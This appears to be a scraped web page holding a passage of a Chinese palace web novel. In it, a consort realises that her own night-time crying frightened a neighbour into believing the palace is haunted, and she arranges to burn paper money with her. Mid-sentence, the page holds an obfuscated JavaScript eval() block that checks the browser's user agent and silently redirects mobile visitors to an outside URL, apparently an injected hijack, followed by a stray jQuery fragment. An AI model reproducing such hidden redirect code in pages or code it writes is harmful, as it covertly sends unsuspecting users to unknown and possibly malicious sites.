婧意好像听四爷提起过这事,所以是在她睡觉的时候派人来传话了?
隔壁的动静更大了。
让人吃饭都吃得不安宁。
“爷派人说了也就说了,隔壁在闹什么?”
张嬷嬷声音很平淡,“或许是苏格格被爷训斥了,爷早上派人来训斥苏格格,说她什么都没搞清楚就乱传话,引得府里不得安宁,让禁足三日以儆效尤。”
“啊?”婧意手中的筷子掉在桌上,发出清脆声音。
苏格格这是帮她顶缸了。
她有些心虚,俗话说得好,只有冤枉你的人才知道你有多冤枉。
她要是苏格格,这会儿都能跪在四爷面前高呼一声“臣妾,冤枉~”
哎。
这让她以后怎么跟苏格格相处?
这事说来真是离谱的巧合,她怎么也没想到苏格格的床跟她紧挨着就隔了一道墙。
更没想到她夜里被饿哭,会吓着苏格格,让她以为闹鬼了。
可她昨天也吓回来了。
她看了证词才知道是自己的过错,那苏格格呢?苏格格知道吗?
知道那声音是她发出的?
“采薇,还不给格格换双筷子。”张嬷嬷脸一沉,采薇连忙去办了。
“不用了,我吃的差不多了。”婧意有些食不下咽了。
她有些心虚,心里也挺过意不去,“苏格格这是迁怒身边的丫鬟身上了?”
“那小丫鬟去取膳,膳房只让别人先取,轮到苏格格,饭菜已经冷掉了。”
张嬷嬷语气很平静,“这府里多的是势利眼,谁得意谁失势,府里的下人门清着呢。”
“陈格格,对于后宅女人来说什么都不重要,重要的是爷的宠爱和孩子,苏格格两者都没有,谁都能踩她一脚。”
谁说的?她就不想。
她更加吃不下了。
“我去看看苏格格。”
张嬷嬷上前一步拦住她,不赞同道:“爷已经下令禁足苏格格三日,这个时候去看苏格格,岂不是跟爷作对?”
“奴婢劝格格还是多顾着自己,真想要照顾苏格格,往后有的是机会。”
婧意被说服了,她以前只听说过高门大户的后院会吃人,却没有真实体验过,没想到来得这么快。
这几天她的伙食好,是真一点没察觉到膳房也是势利眼,她还以为进府真是享福来了。
连续三日未见着四爷,这三天里,四爷多是去蘅芜苑和瓜尔佳格格的崇光院。
苏格格一解禁,婧意便登门了。
苏格格的室内格局跟她的大差不差,一眼就能看到靠墙的架子床。
架子床下面是火炕,火炕加热的是床面,并不是整个室内,这个时候就需要火盆来补充热源。
这样两人的床挨得近也有说法了,为了省炭。
看到那张架子床,她更加心虚了。
“苏格格,你睡这边啊,说来我们的炕也算是挨在一起,离得挺近哈。”
苏格格眼下的青黑更加明显了,心思也明显没有放在婧意说的话上。
“陈妹妹,你上回说要托人买纸钱,可有消息?”
“啊?”婧意愣了一下,这不都是误会吗?还买什么纸钱?
“苏姐姐,我们床挨得这么近,晚上是不是连对方放屁声都听见了,好尴尬啊,哈哈。”她尬笑。
这么明显了,应该听出来了。
“要是能买到,烧下去,让这些孤魂野鬼能够安息……”苏格格一脸焦虑,主打一个自说自话。
不是,她都暗示那么明显了,苏格格这是没听懂还是没听见?
她再咳嗽一声,“苏姐姐,有没有可能,没有鬼,是……”
没等她说完,外面传来一阵爆竹声,苏格格吓得整个人一跳,随后哭哭啼啼起来。
“陈妹妹,你是不知道我已经连续多个夜晚听见那哭声了,真的有鬼,陈妹妹别不信我!”
婧意眼神定住,仔细打量对方神色。
她跟着神色严肃起来,坏了,别不是把苏格格吓出毛病来了。
她很确定这几日点心供给恢复,她不再饿肚子,夜里更是早早睡了,根本没发出过什么声音。
苏格格该不会是被吓出癔症了吧?
嘶,她罪恶深重呀!
“苏格格,你冷静,跟我学,吸气……憋气……慢慢吐气,对对,再来,是不是冷静下来了?”
“你别慌,现在是白天很安全,还有我陪着你呢,你跟我说说你听见什么了,不管发生什么我都会帮你。”
深呼吸后,苏格格神色确实缓和不少,眉宇间却还是带着挥之不去的焦虑。
“贝勒爷派人来说是夜间猫叫惊扰人,可我们听见的是哭声啊,陈妹妹你也听见了对不对?”
婧意只觉得手被握得生疼,再看苏格格,她整个人紧张兮兮似乎在跟她谋求认同。
“…对。”婧意从喉咙里挤出这个字。
苏格格听见的哭声是她的,她听见的哭声是苏格格的。
真好,她俩完美闭环了。
哎,这让她哪敢说出真相,真说出来两人这仇可就结大了。
“所以肯定有鬼,这几晚我只要一闭上眼,耳边就好像听见有人哭。”
她疲惫地闭上眼,“只要一想到身下埋着数不尽的尸骨,就有无数声音在我耳边喊冤,有无数只手想要将我拉进地下。”
婧意:“……”
她无言以对,无语凝噎。
坏了,幻觉都出现了。
“其实吧……”她试图讲道理,“这片大地有明确史书记载就有五千年历史,自古以来哪块地没死过人,要真有冤魂,哪还有我们活人生存的地儿。”
“我看你是多想了,元朝跟咱们隔着三百年呢,再诉苦喊冤也找不到你头上,你也别多想,白日多走动走动,到晚上往床上一趟说不定就睡过去了,什么也不会想了。”
“陈格格不愧是文化人,懂得真多,难怪会得贝勒爷的喜欢。”
苏格格笑了下,发出由衷的羡慕。
婧意皱眉,这话听着怎么这么别扭?
“对了,陈格格,之前你说托人买纸钱,买到了吗?我想了一下,你说的很有道理,我想亲自烧些纸钱,或许烧了纸钱,让那些孤魂野鬼有了去处,我这心事应该就了了。”
婧意听完眼睛一亮,“放心,已经安排了。”
她已经迫不及待想了结这件事了。
回自己屋,挽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631703|206382||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
棠已经回来当值了,婧意避开了张嬷嬷拉着她窃窃私语。
“还买?格格您不是说这事已经了了吗?”
是啊,她这里了了没错,可苏格格那里还没呢,她这次可是把人给害惨了,说什么也得弥补一下,不然心里过意不去。
将苏格格晚上出现幻听的事说了,她有些愧疚道:“这事闹成这样,大部分是我的问题,苏格格也没别的要求,就是想烧些纸钱安安自己的心,这点小事我能做到,就帮吧。”
挽棠盘算了一下道:“咱们府上,年前是要在家庙祭祀,府里应该会采买这类东西,不如咱们出点钱让人带了。”
她小声道:“其实府里的宋格格也会偷偷在自己院子里烧,她的小格格是在宫里夭折的,死时太小,没有在府里立牌位,每年忌日,都是宋格格在院子里偷偷烧,上面主子都知道,只是没有管。”
婧意也小声回道,“我也就烧这一次,希望苏格格能快些好起来。”
她掏钱给挽棠,苏格格那边没给钱,她也不好意思要,反正也没多少。
隔天婧意请安回来,就看到挽棠已经上值了,挽棠见她进来,指了指窗户的方向。
婧意扫了一眼,看到窗户旁桌下的一摞黄表纸,她走过去拉了拉桌布挡了个彻底。
张嬷嬷是不守夜的,主要是她这房间不大,住不下那么多人,守夜是挽棠和采薇轮换着来。
傍晚张嬷嬷走后,婧意便溜达到了隔壁苏格格屋里。
苏格格见她过来,眼神里流露出紧张,迫不及待地问起来。
“成了?”
婧意点头。
苏格格脸上瞬间挂上了笑,她看着婧意露出由衷的高兴。
“今晚烧吗?”苏格格说完又补充了一句,“早点烧早点安心。”
“听你的,不过我还没来得及跟张姐姐她们说。”
“陈妹妹!”苏格格拉住婧意的手,实心实意说。
“能别跟张姐姐她们说吗?”
她垂眸,勉强笑了笑,“我看张姐姐、耿妹妹和钮祜禄妹妹都信了那哭声是夜猫在叫,没必要再惊着她们了。”
“这纸钱应当是妹妹你费尽周折才弄来,若是这般分出去,旁人未必领情,反倒不美。”
“不如今晚我们先用,若是她们心神不宁,再悄悄跟她们说了,让她们出些钱,就当她们也烧过了。”
有道理啊!
“还是苏姐姐你想的稳妥,那我们约定个时间,今晚就烧?”
苏格格微微点头,“这样,等二更吧,亥时已夜深人静,又未到巡逻时间,我们偷偷烧也不会有人发现。”
“没问题。”
一想到这事将彻底了结,婧意心情出奇的好。
屋内挽棠守着火盆烤花生、红薯和橘子。
烤橘子是她点名要的,她喜欢橘子皮烤过后屋子里泛起的焦香味。
婧意走进来,捡了几颗烤熟的花生,坐回床上打开系统。
她再次提交闹鬼这个瓜,奇怪的是完整度停留在90%。
这就让她不得不好奇了,难道说这个瓜还有后续?
她不急着提交了,非得要把这个瓜给吃完整了,自己眼皮底下发生的事,不整明白了怎么行?